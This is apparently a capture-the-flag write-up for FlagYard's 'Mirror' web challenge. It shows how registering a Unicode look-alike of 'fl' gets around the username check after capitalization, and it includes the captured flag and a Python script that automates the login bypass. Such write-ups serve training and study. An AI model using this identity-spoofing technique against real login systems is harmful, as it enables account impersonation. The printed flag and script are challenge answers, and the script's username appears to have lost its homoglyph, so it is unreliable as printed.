Post

FlagYard Mirror Web Challenge

Step-by-Step Writeup for FlagYard's Mirror Web Challenge

FlagYard Mirror Web Challenge

Challenge Overview

This writeup provides an automated & manual solution to the “Mirror” challenge, which is worth 200 points in the web category on the FlagYard platform. The challenge involves exploiting the login system of the website to extract the flag from flag.txt.

Mirror Challenge

Application Functionality

The application provides sign_up, account, and login endpoints for account management. Here’s how it works:

Sign-Up:

Users can create an account by submitting a username and password. The password is hashed using MD5, and the username is converted to lowercase before being stored in the database. If the username is taken, an error is shown; otherwise, the user is redirected to the login page.

Sign-Up page

Log-In:

Users log in with their credentials, and if valid, the username is stored in the session with the first letter capitalized and the rest is converted to lower case (e.g., fLag becomes Flag).

Log-In page

1
2
3
if logged_in:
    session['user'] = logged_in['username'].capitalize()
    return redirect(url_for('account'))

Account:

The account dashboard displays the flag.

Account

Exploitation Plan

Now if you take a look closely in the app.py:

1
2
3
4
        if user == 'Flag':
            return render_template('account.html', user=user, secret=open('flag.txt').read())
        return render_template('account.html', user=user)
    return redirect('/login')

This code means that the application prints the flag in account.html, but in order to get the flag we should have the user as Flag. But, we cannot enter the user Flag or flag as it is already registered, and we don’t know it’s password.

To get the username as Flag, we will be using Homologyphs in the username.

Homologyph: A homoglyph is a character or letter that looks similar to another character or letter, but has a different meaning. For example, the letter “O” looks similar to the number “0”, and the uppercase “I” looks similar to the lowercase “l” in a sans serif font.

So that means we have to use the homologyph of f or more letters? Yes! That’s right.

In this case we will be using the homologyph of fl which I found from this Website. You can also find variety of homologyphs from this GitHub Repo.

Homologyph of fl

Exploitation:

  1. Firstly, go the the sign_up endpoint and register a new user with the flag username. The used is a homologyph of fl.
  2. Enter any password, it does not matters.
  3. Now go to the login page and log-in with the same user and password entered before.
  4. You will be prompted to the account page where the flag will be displayed :D

Flag Found

Flag: FlagY{a465936087fffb0eac1029fc61064d48}

Exploit Automation:

Here’s the python script to automate the process!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import requests


BASE_URL = "http://url.playat.flagyard.com"  # Replace with the actual URL
# Do not add a slash (/) after the URL!

USERNAME = "flag"  # Homoglyph for 'flag'
PASSWORD = "password123"  # Dummy password

def register():
    """Registers a new user with the homoglyph username."""
    url = f"{BASE_URL}/sign_up"
    data = {"username": USERNAME, "password": PASSWORD}
    response = requests.post(url, data=data)
    if response.status_code == 200:
        print("[+] Registration successful.")
    else:
        print("[-] Registration failed.")
        print(response.text)

def login():
    """Logs in with the homoglyph username and retrieves the flag."""
    url = f"{BASE_URL}/login"
    data = {"username": USERNAME, "password": PASSWORD}
    response = requests.post(url, data=data)
    
    if response.status_code == 200 and "Set-Cookie" in response.headers:
        print("[+] Login successful.")
        cookies = response.cookies
        return cookies
    else:
        print("[-] Login failed.")
        print(response.text)
        return None

def get_flag(cookies):
    """Accesses the account page to retrieve the flag."""
    url = f"{BASE_URL}/account"
    response = requests.get(url, cookies=cookies)
    
    if response.status_code == 200 and "Flag" in response.text:
        print("[+] Flag found!")
        flag_start = response.text.find("Flag")
        flag_end = response.text.find("</", flag_start)
        print("Flag:", response.text[flag_start:flag_end])
    else:
        print("[-] Failed to retrieve flag.")
        print(response.text)

if __name__ == "__main__":
    print("[*] Starting exploitation...")
    register()
    cookies = login()
    if cookies:
        get_flag(cookies)

Happy Hunting! Follow me on Twitter/X or connect to me on LinkedIn!

This post is licensed under CC BY 4.0 by the author.